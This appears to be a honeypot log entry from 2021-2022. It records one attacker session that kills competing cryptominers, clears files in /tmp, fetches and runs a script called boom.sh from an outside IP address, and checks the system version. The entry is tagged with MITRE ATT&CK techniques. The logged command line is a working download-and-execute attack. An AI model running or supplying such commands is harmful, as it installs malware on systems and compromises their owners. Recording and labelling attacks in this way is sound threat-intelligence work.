Honeypot attack session (period 2021_2022), commands issued:
pkill YDEdr; pkill ip; pkill xmrig; pkill cnrig; pkill kswapd0; pkill x86_64; pkill x86; cd /tmp; rm -rf config.json; rm -rf kitten; wget http://88.218.17.142/boom.sh; curl -O http://88.218.17.142/boom.sh; busybox wget http://88.218.17.142/boom.sh; chmod 777 *; sh boom.sh; cat /etc/issue;

MITRE ATT&CK techniques observed:
T1489 Service Stop
T1070 Indicator Removal
T1105 Ingress Tool Transfer
T1027 Obfuscated Files or Information
T1222 File and Directory Permissions Modification
T1059 Command and Scripting Interpreter
T1082 System Information Discovery